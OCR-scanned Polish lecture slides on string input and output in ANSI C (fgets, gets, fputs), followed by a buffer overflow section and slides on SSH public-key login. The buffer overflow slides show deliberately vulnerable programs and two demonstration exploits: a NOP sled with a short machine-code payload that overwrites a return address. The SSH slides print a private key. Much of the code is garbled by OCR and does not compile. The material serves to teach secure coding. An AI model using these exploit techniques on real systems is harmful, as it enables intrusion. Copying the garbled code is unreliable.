Jezyk ANSI C

czesc 5
biblioteka standardowa wejscia - wyjscia
tarcuchowe wejscie - wyjscie

Jarostaw Gramacki
Instytut Informatyki i Elektroniki

tancuchowe wejscie-wyjscie
— podejscie bardzo podobne do znakowego wejscia-wyjscia
— nazwy odpowiednich funkgji bibliotecznych koncza sie na "s"

— uwaga na roznice w funkcjach z przedrostkiem "f" i bez tego przedrostka:
fputc() i putc() Sq sobie rownowazne
fgets() i gets () NIE sq sobie rownowazne
fputs() i puts() NIE sg sobie rownowazne

— gets () - koncowy znak nowego wiersza '\n' (generowany przez Enter)
zamieniany na znak '\0' (znak pusty NULL)
gets (str): ABCD Enter str: ABCD'\0'

fgets () NIE usuwa znaku '\n' (pozostaje on w buforze)

—puts () - dopisuje znak '\n' do tworzonego wiersza
puts (str): str: ABCD"\0' ekran: ABCD'\n'

fputs () tego NIE robi —

Czyli inny wynik bedzie
na ekranie (stdout), a
inny na pliku
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tancuchowe wejscie-wyjscie
— prototypy ’ Wersja bezpieczna

/

char* fgets (char* caBuffer, int nBufferSize, FILE* stream);

Input:

Czyta wiersz danych lacznie ze znakiem '\n' ze strumienia stream.
Wczytany wiersz wstawia do tablicy caBuffer. fgets() czyta co najwyzej
nBufferSize-1 znakéw. Wynikowy wiersz bedzie zakonczony znakiem'\0'

Output:
sukces: wskaznik do caBuffer

btad lub koniec pliku: NULL ﬁ’ Wersja NIEbezpieczna

char* gets (char* caBuffer);

Czyta wiersz danych tacznie ze znakiem '\n' ze strumienia stdin.
Wczytany wiersz wstawia do tablicy caBuffer. gets() czyta dowolna ilosé
znakdéw (nawet je$li wykracza to poza rozmiar caBuffer !!!)

int fputs (const char* szOutput, FILE* stream);

Input:

Wypisuje tekst szOutput do wskazanego strumienia stream. Tekst nie musi
zawiera¢ '\n'. fputs() NIE dodaje automatycznie znaku nowej linii '\n'
Output:

sukces: 0

biad: EOF
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tancuchowe wejscie-wyjscie

— przykfad: zapis do pliku wierszy podawanych z klawiatury

// writes lines typed at keyboard, to file
#include <stdio.h> #include <string.h>
void main(void)

{
FILE *pFile;

char string[81]; // storage for strings

pFile = fopen("\home\labl\myfile", "w");

while (strlen( gets (string) ) > 0) // get string from keybd
{
fputs (string, pFile); // write string to file
fputs ("\n", pFile); // write newline to file

}
fclose (pFile); }

— gets () to bardzo niebezpieczna w uzyciu funkcja (buffer - Po zamianie "w" na "wb"
overflow). Lepiej stosowac fgets () Przyktad uzycia:
. . abcd Enter
- fputs () - NIE dodaje automatycznie znaku '\n'. Trzeba ABCD Enter
to zrobi¢ samemu 56 Enter
— Przykiad uzycia: — Zawartoé¢ pliku (pod WINDOWS)
abcd Enter ABCD Enter 56 Enter abcd'\n'ABCD'\n'56'\n"
— Zawartos¢ pliku (pod WINDOWS)
abcd
ABCD
56
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tancuchowe wejscie-wyjscie

— przyktad: odczyt wierszy z pliku i ich wydruk na ekran

// reads strings from file
#include <stdio.h>
void main(void)

{
FILE *pFile;
char string([81];

pFile = fopen(" \homel\labl\myfile ", "r");
while( fgets (string, 80, pFile) != NULL ) // read string
printf ("$s", string); // print string

fclose(pFile);
}

— fgets () zapewnia ochrone przed przekroczeniem rozmiaru zaalokowanej
pamieci !
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tancuchowe wejscie-wyjscie

— przyktad: policz ilos¢ wierszy w pliku

#include <stdio.h>
#define LINE_LENGTH 80

int main(void)
{
FILE* pFile;
char line[LINE_LENGTH];

int count = 0;

pFile = fopen("/home/userA/C/c.html", "r");

/* Count up the lines here. */

while ( fgets (line, LINE_LENGTH, pFile) != NULL)
count++;

printf ("File contains %d lines.\n", count);

fclose(pFile);
return 0;
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tancuchowe wejscie-wyjscie
— przykfad "usprawnienia" funkcji fgets ()

— usuwamy pozostawiony w buforze znak '\n"

ENEREREER N

przekazujemy i zwracamy wskaznik
do tablicy znakéw (czyli w praktyce
napis). Bedzie o tym jeszcze mowa.

char* remove_newline (char *s)
{ int len = strlen( s );
if (len > 0 && s[len-1] == '\n') // if there's a newline
s[len-1] = '\0'; // truncate the string
return s; // return modified string
}

... i zZwracamy
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tancuchowe wejscie-wyjscie

— przykfad: wydrukuj ostatnie n linii z pliku (szkic rozwigzania)

#include <stdio.h> #include <string.h>
int main(int argc, char *argv[]) {
FILE *fp;

int i, j, lines = 5; // hard coded for simlicity
char LastLines[5]([81]; // better: char **LastLines; *LastLines[81];
// but we don't know how to allocate memory yet

o ’ zwrd¢ uwage: DWA wymiary ‘
// read file remembering last n lines in LastLines

i=0; = - -
4 zwroc uwage: JEDEN wymiar
while ( ! feof (fp) ) &« ’ 9€ Y \
{ fgets( LastLines[i], 80, fp ); // every i-th line in i-th row of table
i = ++i % lines; // 0,1,2,3,4,0,1,2,3,4, ...

}

// print out last n lines
// Note: file may have e.g 27 or 503 or ... lines in total
printf ("Last %d lines of file are:\n", lines);

i = (-—1 + lines) % lines;
j=1;
// fix since C does NOT allow negative modulus
// simply rotate around LastLines until i == j again
do {
printf ("%s", LastLine[i]);
i = ++1 % lines; }
while ( 1 !'= 3 );
return 0; }
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tancuchowe wejscie-wyjscie
— przyktad: wypisz na ekran linie, ktorymi réznia sie od siebie dwa pliki
(dwa przypadki: plik A jest dtuzszy od pliku B i odwrotnie)

#include <stdio.h> #include <string.h>

int main (int argc, char *argv[]) {
FILE *fpl, *fp2; czesty btad:
char = linel[80], line2[80]; "Wiasnymi stowami" czytamy to:
int line_no = 0; P . . .
dopoki nie koniec pliku 1 LUB nie
L. koniec pliku 2
while ( !feof(fpl) && !feof (fp2) )
{
if ( ( fgets(linel, 80, fpl) != NULL) && ( fgets(line2, 80, fp2) != NULL ) )
{ ++line_no;
if ( stremp(linel, line2) != 0 )

// lines different so print
printf ("Line %d differs\n\t File %s: %s\t File %s: %s\n",
line_no, argv[l], linel, argv[2], line2);

} /_ ’ ktdrys plik skofczyt sie pierwszy

if ( feof (fpl) && !feof (fp2) ) // file 2 longer print out rest
{
printf ("\n FILE %s longer than %s: Remaining lines:\n", argv[2], argv[l]);
while ( !feof (fp2) )
if ( fgets(line2, 80, fp2) != NULL) printf("\t%s", line2)

}
else
// see next page
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r L4 - L4 -
tancuchowe wejscie-wyjscie

else
if ( feof (fp2) && !feof (fpl)) // file 1 longer print out rest
{

printf ("\n FILE %s longer than %$s: Remaining lines:\n", argv([l], argv[2]);

while ( !feof (fpl) )

if ( fgets(linel, 80, fpl) != NULL) printf ("\t%s", linel);

}
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tancuchowe wejscie-wyjscie

— problem z okresleniem konca pliku

// przepisz wiersz po wierszu z wej$cia na wyjécie

while ( ! feof (pIFile) )
{
fgets (buf, MAXLINE, pIFile);
fputs (buf, pOFile);
}

— ostatni wiersz bedzie przepisany DWA razy !

— powdd: w jezyku C znacznik EOF jest ustawiano dopiero wtedy, gdy funkcja
wejscia probowata czytac i natrafita na koniec pliku.

— nalezy wiec sprawdzac wartos¢ zwrdcong przez funkcje czytajaca:

while ( fgets(buf, MAXLINE, pIFile) != NULL )
fputs (buf, pOFile);

— uzycie feof () jest wiec zbedne
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Przepetnienie bufora

— przepetnienie bufora

— wykaz funkgji stwarzajacych bezposrednig okazje do przepetnienia bufora:
strcpy
strcat
sprintf
gets
scanf, sscanf, fscanf
memcpy

— przyktad niebezpieczenstwa:

// Niepoprawnie:

void func(char *str)
{
char buffer[256];
strcpy (buffer, str);
}

// Poprawnie:

void func(char *str)

{
char buffer[256];
strncpy (buffer, str, sizeof (buffer) -1);
buffer[sizeof (buffer) - 1] = 0;

}
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Przepetnienie bufora
— przepetnienie bufora
— przyktad niebezpieczenstwa:

// Niepoprawnie:

void func (char *str) {
char buffer[256];
buffer[0] = '\0';
strcat (buffer, str);
}

// Poprawnie:

void func (char *strl, *str2) {
char buffer[256];

buffer[0] = '"\0';
strncpy (buffer, strl, sizeof (buffer) - 1);
buffer[sizeof (buffer) - 1] = '\0';

/* concatenate string, calculate amount of space we have left in buffer */

strncat (buffer, str2, sizeof (buffer) - strlen(buffer) - 1);

char s[100];

gets (s); // read a line (from stdin)
fgets (s, sizeof(s), stdin); // read a line from a standard stream stdin
‘;

Uwaga! gdyby s przekazac jako parametr naszej wtasnej funkgji, to

sizeof (s) zwrdci zty wynik (jaki?) ! Czy wiesz dlaczego ???
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Przepetnienie bufora
— przepetnienie bufora

— przykfad podatnego programu:

/* overflow.c - demonstrates the buffer overflow process */
#include <stdio.h> #include <string.h>

int main(int argc, char *argv[])
{
char buffer[10];
if (argc < 2)
{
fprintf (stderr, "USAGE: %s string\n", argv[0]);
return 1;
}
strcpy (buffer, argv[l]);
return 0;

}

— ostrzezenie:

..."In 1996, Elias Levy (aka Aleph One) published in Phrack magazine the paper
"Smashing the Stack for Fun and Profit", a step-by-step introduction to exploiting
stack-based buffer overflow vulnerabilities, which caused a wave of new buffer
overflow exploits to be written..."

http://www-cse.ucsd.edu/classes/sp05/csel27/Smash.htm

zobacz tez "popularnonaukowy" opis w:
http://en.wikipedia.org/wiki/Buffer_overflows
http://pl.wikipedia.org/wiki/Buffer_overflow
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Przepetnienie bufora

— przepetnienie bufora
— przyktad z usunieta podatnoscig

/* better.c - demonstrates how to fix the problem */

#include <stdio.h>
#include <string.h>

#define BUFFER_SIZE 10

int main(int argc, char *argv[])
{
char buffer [BUFFER_SIZE];
if (argc < 2)
{
fprintf (stderr, "USAGE: %s string\n", argv[0]);
return 1;

}

strncpy (buffer, argv[l], BUFFER_SIZE - 1);
buffer [BUFFER_SIZE - 1] = '\0';

return 0;
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— czytaj manuale systemowe
jarek@mykonos:~$ man fgets
Reformatting fgets(3), please wait...
GETS (3) Linux Programmer's Manual GETS (3)
NAME
fgetc, fgets, getc, getchar, gets, ungetc - input of characters and strings
SYNOPSIS
#include <stdio.h>
int fgetc(FILE *stream);
char *fgets(char *s, int size, FILE *stream);
int getc(FILE *stream);
int getchar (void);
char *gets(char *s);
int ungetc(int c, FILE *stream);
DESCRIPTION
fgetc() reads the next character from stream and returns it as an unsigned char
cast to an int, or EOF on end of file or error.
getc() is equivalent to fgetc() except that it may be implemented as a macro which
evaluates stream more than once.
getchar () is equivalent to getc(stdin).
gets() reads a line from stdin into the buffer pointed to by s until either a ter-
minating newline or EOF, which it replaces with '\0'. No check for buffer overrun
is performed (see BUGS below) .
fgets() reads in at most one less than size characters from stream and stores them
into the buffer pointed to by s. Reading stops after an EOF or a newline. If a
newline 1is read, it is stored into the buffer. A '\0' is stored after the last
character in the buffer.
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Przepetnienie bufora

— Zasada ataku:

Przepetnienie bufora to nadpisanie sasiednich adreséw na stosie zadang sekwencjq bajtow.
Najczesciej nadpisywany jest tzw. rekordy aktywacji - dane odktadane na stosie przy kazdym
wywotaniu funkgji i zawierajace m.in. adresy powrotu, informujace o miejscu, do ktérego
powinien "skoczy¢" program po zakonczeniu wykonywania funkgji

Najbardziej powszechnym sposobem ataku jest zaaplikowanie do programu spreparowanego
stowa (napisu) i zmodyfikowanie w ten sposéb rekordu aktywacji.

Spreparowany napis: fragment kodu np. uruchamiajacy shella (systemu do ktdrego sie
wiamujemy). Kod ten zostaje skompilowany do postaci maszynowej (tzw. shell code) i
wiaczony do spreparowanego napisu, ktéry przekracza rozmiar bufora i bedzie argumentem
funkcji (parametrem wywotania programu).

Po przekazaniu napisu do funkcji adres powrotny zostaje nadpisany wykonywalnym kodem

lub wskaznikiem do np. kodu uruchamiajacego shell.

— Tak uruchomiony shell posiada uprawnienia programu, spod ktérego zostat

uruchomiony (w szczegélnosci moga to by¢ uprawnienia roota !1!).

argumenty funkgj

adre s powrotny

wzrost adresow

pamieci bufor WESHSIDSH
zmienne lokalne
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Przepetnienie bufora
#include <stdio.h>
void zrob_cos_z_wejsciem()
{
char bufor[50];
scanf ("%s", bufor);
}
int main()
{
zrob_cos_z_wejsciem();
return O;
}
— Podczas wywotywania funkcji na stos ktadziony jest adres powrotny.
— Miejsce na zmienne lokalne funkcji rezerwowane jest na stosie.
— Nieostrozne zapisywanie zmiennych lokalnych moze spowodowac nadpisanie adresu
powrotnego.
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Przepetnienie bufora

#include <stdio.h>

void zrob_cos_z_wejsciem()
{

char bufor[50];

scanf ("%$s", bufor);

}

int main ()

{
zrob_cos_z_wejsciem();
return 0;

}

— Funkcja zrob_cos_z_wejsciem nie kontroluje dtugosci wczytywanego tancucha znakdw.

— Wprowadzajac zbyt dtugi tancuch napiszemy adres powrotny z funkgji
zrob_cos_z_wejsciem i instrukcja ret spowoduje skok w wybrane przez nas miejsce.

— Mozemy zapisa¢ kod, ktéry chcemy wykona¢ w faricuchu znakéw przekazanym do programu.

— Jesli program ma ustawiony bit suid, to mozemy np. uruchomi¢ powtoke z przywilejami
roota !
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Przepetnienie bufora
#include <stdio.h>
void zrob_cos_z_wejsciem()
{
char bufor[50];
scanf ("%$s", bufor);
}
int main()
{
zrob_cos_z_wejsciem();
return 0;
}
ramka wskaznik na bufor
zrob_cos_z_wejsciem (2-gi argument scanf)
wierzcholek
stosu
3 |
2
bufor —
49 1
48 0
A | ?
wskaznik na "%s"
///(l—szy argument scanf
adres p tu wykorzystywane przez
z zrob_cos_z_wejsciem zrob_cos_z_wejsciem
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Przepetnienie bufora

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)

{
char tabl[6] = "TEKST";
char tab2[12] = "DLUGI TEKST";
printf("\n tabl: %s", tabl);
printf ("\n tab2: %s", tab2);
strcpy (tab2, "TO BEDZIE HAKER ATAK");
printf ("\n tab2: %s", tab2);
printf ("\n tabl: %s", tabl);
return 0;
}

c:\eclipse_workspace\pr5\Debug>pr5.exe

tabl: TEKST

tab2: DLUGI TEKST

tab2: TO BEDZIE HAKER ATAK
tabl: KER ATAK

c:\eclipse_workspace\pr5\Debug>
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#include <stdio.h> #include <string.h>
void check_password (char *passl, char *pass2)
{
char bufferl[8]; char buffer2([8];
strcpy (bufferl, passl);
strcpy (buffer2, pass2);
printf ("bufferl: '$s' buffer2: '%s'\n", bufferl, buffer2);
if( strcmp(bufferl, buffer2) == )
printf ("password ok\n");
else
printf ("wrong password\n") ;
}
int main(void)
{
char stored_password[8]; . .
char entered_password(8]; e ’ He, he, sami ustalimy sobie hasto !!!
strcpy (stored_password, "mypass");
printf ("Enter password: ");
gets (entered_password) ;
check_password(stored_password, entered_password);
printf ("Correct password: %s\n", stored_password);
return 0;
}
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Przepetnienie bufora

c:\users\eclipse_workspace\pr5\Debug>pr5.exe
Enter password: abcd

bufferl: 'mypass' buffer2: 'abcd'

wrong password

Correct password: mypass

c:\users\eclipse_workspace\pr5\Debug>pr5.exe
Enter password: xxxxxxx-abcd

bufferl: 'abcd' buffer2: 'xxxxxxx-abcd'
wrong password

Correct password: abcd
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Przepetnienie bufora

— Podatny program, hello.c

#include <string.h>
#include <stdio.h>

char password[] = "SecretPassword";

int main(int argc, char **argv)
{
char buf[256];

if (argc == 2)
strcpy (buf, argv[l]);

else

{
printf ("$s <password>\n", argv[0]);
return 1;

}

if (strcmp(buf, password) == 0)
{
printf ("Password OK\n");
return 0;
}
else
{
printf ("Bad password\n");
return 1;

}

http://pl.wikipedia.org/wiki/Przepeinienie_bufora
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Przepetnienie bufora

— Wykorzystanie podatnosci (wersja dla Unix)

#include <unistd.h>

char argl[] =

// 320 bajtéw
19:0:9:0:0:0:9:9.9:9:9:0:9:9:9.9.9.9:0:0:9:9.9.0.9:9:0:0.9:0.:9.0:0.9:0:9:9:9.9.0.:0.0:0:0.9.0.0.0:9:0:0.0.0.0.9:0:0:0:0:0.0.0.0.0.4}
19:9:9:0:0:0:9:9.9:9:9:0:9:9:9.9.9.9:0:0:9:9.9.0.9:9:0:9.9:9.:9.0:0.90:0:9:9.9.9.0.:0.0:0:0.9.0.0.:0:9:0:0.0.0.0.9:0:0.0:0:0.0.0.0.0.4}
19:0:9:0:0:0:9:9.9:9:0:0.:9:9:9.9.9.9:0:0:9:9.9.0.9:9:0:0.9:0.:9.0:0.9:0:9:0.9.9.0.:0.0:0:0.9.0.0.0:9:0:0.0.0.9.0:0:0.0:0:0.0.0.0.0.4}
19:9:9:0:0:0:9:9.9:9:0:0:9:9:9.9.9.9:0:0:9:9.9.0.9:9:0:0.9:0.9.0:0.9:0:9:9.9.9.0.:0.0:0:0.9.0.0.0:9:0:0.0.0.0.0:0:0.0:0:0.0.0.0.0.4}
19:0:9:0:0:0:9:9.9:9:9:0:0:9:9.9.9.9.0:0:0:9.9.0.9:9:0:0.9:0.9.0:0.9:0:9:0.9.9.0.:0.0:0:0.9.0.0.:0:9:0:0.0.0.0.9:0:0.0:0:0.0.0.0.0.4}

7

int main(int argc, char **argv)

{
execl ("./hello", "./hello", arg, NULL);
return 0;

}

butor

T
‘\\\

$ ./exploitl
Bad password
Segmentation fault

320 bajtéw (5 linii razy 64 bajty) wystarczyto. Mozemy teraz znalez¢ doktadna najmniejsza wartos¢, ktora
wystarcza. Jak sie okazuje, potrzeba 256+12 bajtow - mniejsza wartos¢ nie powoduje btedu. W rzeczywistosci
kopiowany jest jeden bajt wiecej - bajt o wartosci 0 konczacy napis. Oznacza to, ze miedzy buforem buf a
adresem powrotu (ktéremu zwykle wystarczy nadpisac jeden baijt, zeby doprowadzi¢ do katastrofy) znajduje sie
12 bajtéw, czyli 3 wartosci typu int lub wskazniki. Sa to w naszym przypadku argc, argv i "tajny" argument
funkcji main - envp.

http://pl.wikipedia.org/wiki/Przepeinienie_bufora

dr inz. Jarostaw Gramacki, Instytut Informatyki i Elektroniki, UZ (ver. 1.2) 25

Przepetnienie bufora

— Wykorzystanie podatnosci (wersja dla Unix)

#include <unistd.h>
#include <stdlib.h>

char argl[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90"

"\x31\xcO" // xor %eax, %eax
"\x40" // inc %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80

"\xEEAXEE\XEE\xDE"

int main(int argc, char **argv)
{

if (argc == 2)
*((int*) (&arg[256+12])) = 0xc0000000 - atoi (argv[1])
execl("./hello", "./hello", arg, NULL);

return 0;
}

http://pl.wikipedia.org/wiki/Przepeinienie_bufora
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e a teraz maty przerywnik ...
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e "latwe" logowanie
jarek@mykonos:~$ ssh -1 jgramack hook.uz.zgora.pl
jgramack@hook.uz.zgora.pl's password:
Last login: Tue Nov 14 2006 21:19:26 +0100 from mykonos.iie.uz.zzgora.pl
No mail.
(hook) : jgramack: #~> logout
Connection to hook.uz.zgora.pl closed.
jarek@mykonos:~$
jarek@mykonos:~$ ssh -1 jgramack hook.uz.zgora.pl uptime
jgramack@hook.uz.zgora.pl's password:
Permission denied, please try again.
jgramack@hook.uz.zgora.pl's password:
9:22pm up 5 day(s), 11:35, 3 users, load average: 0.21, 0.19, 0.16
jarek@mykonos:~$
ssh wykona zdalnie program i zakonczy dziatanie. NIE jest
/ uruchamiana sesja uzytkownika na zdalnym komputerze
jarek@mykonos:~$ ssh -t -1 jgramack hook.uz.zgora.pl "ls -la"
jgramack@hook.uz.zgora.pl's password:
total 7802
drwx———-—— x 6 jgramack iie 1024 Nov 14 21:25
drwxr-xr-x 58 root iie 1536 Oct 18 09:16 ..
—rW——————= 1 jgramack iie 49 Nov 24 1996 .Xauthority
—rw-r—-r—-— 1 jgramack iie 116 Oct 9 2003 .addressbook
—rw-r—-r—-— 1 jgramack iie 2399 Oct 9 2003 .addressbook.lu
—rw-r—-r—-— 1 jgramack iie 3119 Nov 14 21:21 .bash_history
drwxr-xr-x 12 jgramack iie 512 Nov 24 1996 .dt
drwxr-xr-x 15 jgramack iie 512 Nov 11 22:09 public_html
Connection to hook.uz.zgora.pl closed.
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o "latwe" logowanie, uwierzytelnianie kluczem publicznym

Linux
jarek@mykonos:~$ ssh-keygen -t dsa // wersja 2 protokolu SSH i
Generating public/private dsa key pair.
Enter file in which to save the key (/home/users/jarek/.ssh/id_dsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/users/jarek/.ssh/id_dsa.
Your public key has been saved in /home/users/jarek/.ssh/id_dsa.pub.
The key fingerprint is:
Se:bb:2b:37:f1:e0:16:£3:1b:32:35:10:£5:5f:70:83 jarek@mykonos

jarek@mykonos:~$ ed .ssh/

jarek@mykonos:~/.ssh$ 1ls -1

—rw——————— 1 jarek staff 668 Nov 14 21:55 id_dsa
-rw-r--r—-- 1 jarek staff 603 Nov 14 21:55 id_dsa.pub

jarek@mykonos:~/.ssh$ cat id_dsa

MITBuwIBAAKBGOCYW8834EGTCTIVK 7VOLUCKV6HkdVweOeKEHt eF ++/2481Xn9qY
oImEFekVgA8cmbIR2MPYqxnPghEHhvkmZD3S7Q9KFb/DIYh40MaXvCOQhT+3/+t
QKGbd/aSTtLM5193C312aKThsPpSq+pERSKhHIzu6 FWRQRPLXk 4v11knBQIVAMAU
byC20q4 tMRXCDLWoYNcug9F HAOGBAKP SmrRIFBOGUWg / JUxt w5 +KTupXasyl/zRS
HzKVp8YWLICApjixIEmdXxicMdjlrfabcb8fijZ86pG4vLIUBmtk/IndkyjdToTs
1zkaIlSIxPPAYUNIOFhO8GhetTiMN2Rs5DHVES /PIMGUUKvCCBESD/ SELOOWKkpT
jedZaCAyAoGAdQOQ3bIRLNaeDgOHRBZ 3 zgM1UUC2e £ tNKDNBV 8921 f3SPF5aFqT
bkPwdBj0SpAdjOt IT1cVZiyp2MUcolEmuD+qjH116KF 9RAZSX TekveR/pTru22X3
UENwgk9 £t c30CTIHDIt Bsb1UOk 73XLA4NK /06 2k ZUdhEDK52CbqeoF MCFCL 115N
uoluBFBLPNtT1+PrboyK

jarek@mykonos:~/.ssh$ cat id_dsa.pub

SsSh—dss aaarp3NzaClkc3MARACBAKIb2 2£gQZNXPIWTLU61QLFX0eR1XBTR400e 14X 77/ b yVef 2pigi YOV6 RWADxyZs LHYWO
irGe+CEQeG+SZkPALED0qoVv8MhiHgdxpe8I5CEI7£/61A02t39pLu0s znL2MLeVlopNuw+1Kr 6kRFKSEC jOToVZGPESteTi+X
WSCFAAAAFQDAFGBgt jquLTEVwWgy 8KGDXLQVRRWAAAabCo/mat EKUE4a5aD81TG3Dn4p061dqzT §/NF I£MpinxhYshwCmOLEGSZ
1£GIwx2PWt 9pLdvx+KNnzgkbi8shQGa2T81 i TKN10hOyLOROhIJE88D2432gWE TwaF6 01 Iw32GOzkMe8Wz88kwa64g8IwE /wP
/kS047BeSkmNx110IDIAAACAIQOQ3bIRLNaeDgOHRBz j jzgMLUUC2e fENKDNBV89Z1 £ 3SPF5aFqThkPwdBj0SpAdjOt ITLeVZi
yp2MUcolEmuD+qjH1 16KF9RAZSX TekveR/pTru22X3uENwgk 9 tc30CT JHDItBsb1UOk 73XLA4NK /06 2k ZUdhEDK52ChgeoFM=
jarek@mykonos
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e "latwe" logowanie, uwierzytelnianie kluczem publicznym

UWAGA: W przyktadzie zakiadamy, ze na obu
maszynach jest OpenSSH

Linux
jarek@mykonos:~$ ssh -1 jgramack hook.uz.zgora.pl
jgramack@hook.uz.zgora.pl's password:
Last login: Tue Nov 14 2006 23:40:25 +0100 from mykonos.iie.uz.z
No mail.

// tworze katalog i plik. Nadaje im odpowiednie prawa

(hook) : jgramack: #~>1s -la
drwx—————— 2 jgramack iie 512 Nov 14 23:43 .ssh

(hook) : jgramack: #~>1s -la .ssh
—rw——————— 1 jgramack iie 0 Nov 14 23:53 authorized keys

// kopiuje klucz publiczny
jarek@mykonos:~$ scp ~/.ssh/id_rsa.pub jarek@hook.uz.zgora.pl:./ssh/authorized_keys

// loguje sie bez hasla

jarek@mykonos:~$ ssh -1 jgramack hook.uz.zgora.pl

Last login: Tue Nov 14 2006 23:55:35 +0100 from mykonos.iie.uz.z
No mail.

(hook) : jgramack : #~>
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o "latwe" logowanie, uwierzytelnianie kluczem publicznym

UWAGA: W przyktadzie zakitadamy, ze klient
pracuje z OpenSSH a serwer z SSH2

jarek@mykonos:~$ ssh-keygen -e —-f .ssh/id_dsa.pub > .ssh/ moj_klucz_publiczny.pub

jarek@mykonos:~$ ssh -1 jgramack hook.uz.zgora.pl
jgramack@hook.uz.zgora.pl's password:

Last login: Tue Nov 14 2006 23:40:25 +0100 from mykonos.iie.uz.z
No mail.

// tworze katalog i plik authorization. Kopiuje klucz publiczny.
// Nadaje im odpowiednie prawa

(hook) : jgramack: #~>1s -la
drwx—————— 2 jgramack iie 512 Nov 14 23:43 .ssh2

(hook) : jgramack:#~>1s -la .ssh2
—rW——————— 1 jgramack iie 24 Nov 15 00:09 authorization
—rw——————— 1 jgramack iie 716 Nov 15 00:05 moj_klucz_publiczny.pub

// wpis w pliku authorization
(hook) : jgramack: #~>1s -la .ssh2/authorization"
Key moj_klucz_publiczny.pub

// loguje sie bez hasla

jarek@mykonos:~$ ssh -1 jgramack hook.uz.zgora.pl

Last login: Tue Nov 14 2006 23:55:35 +0100 from mykonos.iie.uz.z
No mail.

(hook) : jgramack: #~>

Linux
// eksport klucza z formatu OpenSSH do SSH2
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e "latwe" logowanie, uwierzytelnianie kluczem publicznym

2% PuTTY Configuration

sl Options contraling SSH authenti EEMLALSS AESUZ G B

- Logging —&uthentication methods File Key Conwersions Help
=8 Terr;inallj ’ [T Atternpt TIS or CryptoCard . ~Key
- Keyboan " g
Beﬁ ¥ Attempt keyboard-interact Public key for pasting into OpenS5H authorized_keys2 file:
- Features \—Authentication parameters —— sehedzs | -
B Wirdow \F Al " i AAAAR 3N zaCT ke 3MAAACEAlAMIVTCEL +iskt AT crleQiZyiKVANITY D 2pfL)+ 9K zh+Ev
A R HaDiLaHCn25 iKmerZ TieT F2C8ca3+id0hdsy1 ¥k Sa) gpl ybray BrlgNvtiZLviE 1ICE
© ApREArance | [T Allow attempted changes o | [2E2BEveil ZcEivaHsONAA)4ME)yaF BaGE RE 2naxqekZ S LyDsPISARAAFOD AT
+ Behaviour Private kev file for authenticatic #TF4dCFZm+ G aZ LM nliyQadald ek Syl HwF 42k o 0D Rk aYmE 30 40gCly 4Qit3s/py - =
Transzlati o
- lranzlation
- Selection I ey fingerprint: Issh-dss 1024 ad: 23:60: d5: 75:47:04:59: cbe 54 Boeb1:29:77:b0:bE
+ Colours Ky commant: |dsakey-20061114
[=I- Conhection
- Proxy K.ey passphrasze: I
- Telnet
- Rlagin UWAGA: Implementacja OpenSSh
= 55H t“[-_-] (mykonos) stosuje inny format
L----Auth L zapisu kluczy publicznych niz
E Tormels pageant.exe implementacja SSH Secure Shell - Generate |
I plink_exe "SSH2" (Putty)
DECREXE Coad an exEhng privare Eey e Load |
psftp_exe
putty_cnt Save the gererated key Save public key | Save private key |
About | Help putty_exe
- gpull}l_ﬁm — Parameters
putly_hlp Type of key to generate:
(EDEEILED  55H1 [R5A)  S5HZRSA {5 55H2DSA
README . txt i
I unins000_dat Mumber of bits in a generated key: |1 024
7 unin=000.exe
@wehsile.ull
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o "latwe" logowanie, uwierzytelnianie kluczem publicznym

D:\Programy\PuTTY>dir
Volume in drive D has no label.
Volume Serial Number is A884-27FA

Directory of D:\Programy\PuTTY

2006-11-15 13:37 <DIR>

2006-11-15 13:37 <DIR> ..
2006-11-15 13:37 795 id_dsa.PPK
2006-11-15 13:37 675 id_dsa.pub

D:\Programy\PuTTY>more id_dsa.PPK
PuTTY-User-Key-File-2: ssh-dss

Encryption: none

Comment : dsa-key-20061115

Public-Lines: 9

AAAAB3NzaClkc3MAAACAL SV IxvAbCWHHNUlK9y9P13FTyoh4oK6fbpOawipiuNGT

HOWJPrORZbsMmJITFGPIpGxeFV2G2CENG6W2r 1Ft Uko+dsCk3nag50cPaTAQGGRHN
74yF/Z5qNTGosCKSvLYwVpiak0q8c6n0/gTwdweKPB1UyezfKz/9pmiiy Y 4Nrw2ka

AAAVANRC2B7xns1+8 TPKAMUPCV2Gr UF LAAAAGFATxC40vGKUS/ 74al 2AsbSRull :
: > .
mIwi4gqnfPdypOS53SHOmaMP8Y caQeLd 7TdgNr v6Pi1I3W15YGuemT800eSEN47H D:\Programy\PuTTY>more id_dsa.pub

BJB862zM76A+B/E3FNaGRpJufk SHONACEULg9GtyMx9ED2RDh14LqepGuzoM/H] ———— BEGIN SSH2 PUBLIC KEY —---—
We! DAAA? Wr Qkuw: el 7 G 9
